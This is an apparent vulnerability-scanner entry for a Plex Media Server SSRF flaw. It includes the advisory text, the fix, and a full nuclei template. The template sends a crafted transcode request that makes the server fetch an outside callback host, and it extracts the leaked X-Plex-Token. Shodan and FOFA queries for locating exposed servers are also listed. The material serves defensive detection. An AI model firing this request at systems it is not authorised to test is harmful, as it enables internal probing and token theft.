Plex Media Server < 1.43.3.10861 - SSRF via Transcoder

Exploited in the wild. Listed by CISA on 2026-10-20; known to be used by ransomware.

mediumseverity

5.3CVSS score

10.7%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Plex Media Server before 1.43.3.10861 allows an authenticated user to request arbitrary internal or external addresses via the '/video/:/transcode/universal' path parameter.

Impact

Attackers can force the server to fetch arbitrary URLs, enabling internal network probing and credential theft via X-Plex-Token leakage on the outbound request.

Fix

Update to version 1.43.3.10861 or later.

How to confirm it

Send: GET /video/:/transcode/universal/start.m3u8?path=http://{{interactsh-url}}/item.xml&X-Plex-Token={{token}}
Positive when: contains in interactsh_protocol "http" AND contains(interactsh_request, 'item.xml')

Run it with nuclei: nuclei -id CVE-2026-96655 -u <target>

The full check

id: CVE-2026-96655

info:
  name: Plex Media Server < 1.43.3.10861 - SSRF via Transcoder
  author: DhiyaneshGeek
  severity: medium
  description: |
    Plex Media Server before 1.43.3.10861 allows an authenticated user to request arbitrary internal or external addresses via the '/video/:/transcode/universal' path parameter.
  impact: |
    Attackers can force the server to fetch arbitrary URLs, enabling internal network probing and credential theft via X-Plex-Token leakage on the outbound request.
  remediation: |
    Update to version 1.43.3.10861 or later.
  reference:
    - https://zmain.info/blog/plex2shell
    - https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319
    - https://www.rapid7.com/db/vulnerabilities/cve-2026-96655/
    - https://www.cve.org/CVERecord?id=CVE-2026-96655
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N
    cvss-score: 5.3
    cve-id: CVE-2026-96655
    epss-score: 0.10724
    epss-percentile: 0.95858
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    vendor: plex
    product: plex_media_server
    shodan-query: port:32400 "X-Plex-Protocol"
    fofa-query: port="32400" && header="X-Plex-Protocol"
  tags: cve,cve2026,plex,ssrf,oob,oast,plex2shell,kev,vkev,authenticated

http:
  - raw:
      - |
        GET /video/:/transcode/universal/start.m3u8?path=http://{{interactsh-url}}/item.xml&X-Plex-Token={{token}} HTTP/1.1
        Host: {{Hostname}}
        X-Plex-Token: {{token}}
        X-Plex-Platform: Chrome
        X-Plex-Device: Linux
        X-Plex-Product: Plex Web
        X-Plex-Model: bundled
        X-Plex-Client-Identifier: nuclei-test

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: dsl
        dsl:
          - "contains(interactsh_request, 'item.xml')"

    extractors:
      - type: kval
        part: interactsh_request
        kval:
          - X-Plex-Token

References

Use this check only on systems you are authorised to test. Where the data comes from